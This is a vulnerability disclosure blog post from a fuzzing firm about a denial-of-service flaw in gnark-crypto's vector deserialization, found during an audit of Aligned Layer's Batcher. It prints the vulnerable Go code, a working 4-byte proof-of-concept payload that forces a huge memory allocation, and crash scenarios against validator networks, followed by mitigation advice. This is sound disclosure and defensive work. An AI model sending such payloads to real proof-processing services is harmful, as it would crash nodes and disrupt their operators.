How Fuzzing the Aligned Layer Batcher Uncovered a Critical DoS Vulnerability in a Core Ethereum ZK Library

During a security audit of Aligned Layer‘s Batcher component, our fuzzing infrastructure identified a critical denial-of-service vulnerability in gnark-crypto, one of the most widely-used cryptographic libraries in the Ethereum ecosystem. The vulnerability allows an attacker to crash any service deserializing ZK proofs by sending a malicious 4-byte payload that triggers a 128GB memory allocation attempt. The issue has been assigned GHSA-fj2x-735w-74vq and patched in gnark-crypto v0.18 and v0.19.

Background: Aligned Layer and the ZK Verification Stack

Aligned Layer is a ZK verification layer for Ethereum, designed to make zero-knowledge proof verification fast, cheap, and scalable. The platform operates as an Actively Validated Service (AVS) built on EigenLayer, secured by billions of dollars worth of restaked ETH.

The architecture consists of several key components:

  • Batcher: Aggregates proofs from users into batches for efficient verification
  • Operators: Decentralized validators that verify proof batches
  • Aggregation Service: Compresses multiple proofs into single aggregated proofs

The Batcher is a critical component that receives proof submissions from users via CLI or SDK, collects them into batches, and dispatches them to the operator network. This makes it a prime target for security analysis, any vulnerability here could impact the entire verification pipeline.

FuzzingLabs was engaged to perform a comprehensive security assessment of Aligned Layer’s infrastructure. Given that the Batcher processes untrusted user input (ZK proofs in various formats), we prioritized it for deep fuzzing analysis. Our goal was to identify any vulnerabilities that could be exploited by malicious actors submitting crafted proofs.

Discovery: Finding the Bug Through Fuzzing

When fuzzing the Aligned Layer Batcher, we focused on the deserialization paths, the code responsible for parsing incoming proof data. These are classic attack surfaces: parsers that trust input length fields, format specifiers, or structural metadata without validation.

We built custom fuzzers targeting the proof ingestion pipeline, generating mutated inputs that exercised edge cases in:

  • Proof format headers
  • Length fields in serialized structures
  • Nested data structures within proofs

During fuzzing, we observed consistent crashes when the fuzzer generated inputs with specific patterns in the length fields.

The Go runtime was attempting to allocate massive amounts of memory during vector deserialization. Tracing the call stack led us directly to gnark-crypto’s Vector.ReadFrom() function.

fatal error: runtime: out of memory

runtime stack:
runtime.throw(...)
runtime.makeslice(...)
github.com/consensys/gnark-crypto/ecc/bn254/fr.(*Vector).ReadFrom(...)

The vulnerable code resides in gnark-crypto/ecc/bn254/fr/vector.go (and equivalent files for all other supported curves):

func (vector *Vector) ReadFrom(r io.Reader) (int64, error) {
    var buf [Bytes]byte
    if read, err := io.ReadFull(r, buf[:4]); err != nil {
        return int64(read), err
    }
    sliceLen := binary.BigEndian.Uint32(buf[:4])  // ← ATTACKER CONTROLLED
    
    n := int64(4)
    (*vector) = make(Vector, sliceLen)  // ← UNCHECKED ALLOCATION
    
    for i := 0; i < int(sliceLen); i++ {
        read, err := io.ReadFull(r, buf[:])
        n += int64(read)
        if err != nil {
            return n, err
        }
        (*vector)[i], err = BigEndian.Element(&buf)
        if err != nil {
            return n, err
        }
    }
    return n, nil
}

The vulnerability is a textbook case of unchecked integer-to-allocation:

  1. The function reads 4 bytes from the input stream
  2. Interprets them as a big-endian uint32 representing vector length
  3. Immediately allocates a slice of that size without any validation
  4. Only then attempts to read the actual element data

The critical flaw: memory allocation happens before verifying that the input actually contains enough data. An attacker can claim a vector length of 4 billion elements while providing zero actual data.

gnark-crypto uses a simple serialization format for field element vectors:

🐹

Serialization Format.go

┌─────────────────┬─────────────────────────────────────────────┐
│  Length (4B)    │  Elements (N × 32 bytes each)               │
│  Big-endian     │  Field elements in big-endian format        │
└─────────────────┴─────────────────────────────────────────────┘

This format trusts the length field implicitly which is a dangerous assumption when processing untrusted input.

For the BN254 curve, each field element (fr.Element) is 32 bytes. The maximum allocation an attacker can request:

sliceLen (hex)ElementsTotal Allocation
0x000010004,096128 KB
0x001000001,048,57632 MB
0x10000000268,435,4568 GB
0xCACACACA3,402,287,818101.4 GB
0xFFFFFFFF4,294,967,295128 GB

With just 4 bytes of controlled input, an attacker can force an allocation request of up to 128 GB.

The vulnerability exists in the vector deserialization code for all curves supported by gnark-crypto:

  • ecc/bn254/fr/vector.go -> BN254 (32 bytes/element)
  • ecc/bls12381/fr/vector.go -> BLS12-381 (32 bytes/element)
  • ecc/bls12377/fr/vector.go -> BLS12-377 (32 bytes/element)
  • ecc/bw6761/fr/vector.go -> BW6-761 (48 bytes/element, up to 192 GB)
  • ecc/bw6633/fr/vector.go -> BW6-633
  • ecc/stark-curve/fr/vector.go -> STARK curve
  • And others…

For curves with larger field elements (like BW6-761), the maximum allocation is even higher.

package main

import (
    "bytes"
    "encoding/binary"
    "fmt"
    "log"

    "github.com/consensys/gnark-crypto/ecc/bn254/fr"
)

func main() {
    // Craft malicious payload: just 4 bytes claiming 4 billion elements
    maliciousLength := uint32(0xFFFFFFFF)
    
    buf := new(bytes.Buffer)
    if err := binary.Write(buf, binary.BigEndian, maliciousLength); err != nil {
        log.Fatal(err)
    }
    
    // This will attempt to allocate ~128 GB and crash
    var vec fr.Vector
    _, err := vec.ReadFrom(buf)
    if err != nil {
        fmt.Printf("Error: %v\n", err)
    }
}
fatal error: runtime: out of memory

runtime stack:
runtime.throw({0x5a2e87?, 0x0?})
    /usr/local/go/src/runtime/panic.go:1067 +0x48
runtime.makeslice(0x4a8de0?, 0xffffffff?, 0x20?)
    /usr/local/go/src/runtime/slice.go:107 +0x64
github.com/consensys/gnark-crypto/ecc/bn254/fr.(*Vector).ReadFrom(...)

The program crashes immediately during the make() call, before reading any element data.

Scenario 1: Direct Proof Submission

Attacker → Aligned Batcher → Proof Deserialization → Vector.ReadFrom() → CRASH

An attacker submits a malformed proof to the Batcher API. The Batcher attempts to deserialize the proof, hits the vulnerable code path, and crashes. Time to impact: milliseconds.

Scenario 2: Validator Network Attack

Attacker → Submit Malicious Proof → Validators Download & Verify → ALL VALIDATORS CRASH

In a decentralized verification network, a single malicious proof can simultaneously crash all validators attempting to verify the batch.

Scenario 3: Resource Exhaustion Amplification

With the ability to trigger 100+ GB allocations per request, an attacker can exhaust system resources even without fully crashing the process:

  • Memory pressure triggers OOM killer on Linux
  • Swap thrashing renders the system unresponsive
  • Container memory limits cause pod evictions in Kubernetes

The amplification factor is extraordinary: 4 bytes of attacker input → 128 GB allocation attempt.

For Library Authors

  1. Never trust length fields in serialized data. Always validate before allocation.
  2. Allocate incrementally when possible. Read data first, allocate as you go.
  3. Set reasonable maximum bounds. A 4GB vector of field elements is almost certainly an error.
  4. Fail gracefully. Return an error rather than allowing unbounded allocation.

For Protocol Developers

  1. Audit your dependencies. Critical vulnerabilities often hide in foundational libraries.
  2. Fuzz your deserialization paths. Parsers are prime targets for malformed input.
  3. Implement defense in depth. Don’t rely solely on library-level validation; add your own bounds checking.

For Security Researchers

  1. Follow the data flow. Length fields are a classic vulnerability pattern.
  2. Fuzz at component boundaries. Where untrusted data enters trusted code is where bugs live.
  3. Check all curve implementations. Template-generated code often propagates the same bug across multiple files.

This vulnerability demonstrates the importance of rigorous security testing for cryptographic libraries. gnark-crypto is a foundational component of the Ethereum ZK ecosystem, used by projects ranging from zkRollups to privacy protocols. A DoS vulnerability at this layer has cascading effects across the entire stack.

Finding this bug through fuzzing during an audit of Aligned Layer highlights the value of security-focused fuzzing for complex systems. By treating the Batcher’s proof deserialization as an attack surface, we were able to identify a critical vulnerability not just in Aligned Layer’s direct code, but in a widely-used dependency.

We thank the Consensys team for their rapid response and thorough fix, and we look forward to continued collaboration to secure the ZK ecosystem.

Founded in 2021 and headquartered in Paris, FuzzingLabs is a cybersecurity startup specializing in vulnerability research, fuzzing, and blockchain security. We combine cutting-edge research with hands-on expertise to secure some of the most critical components in the blockchain ecosystem.

Contact us for an audit or long term partnership!

Get Your Free Security Quote!

Let’s work together to ensure your peace of mind.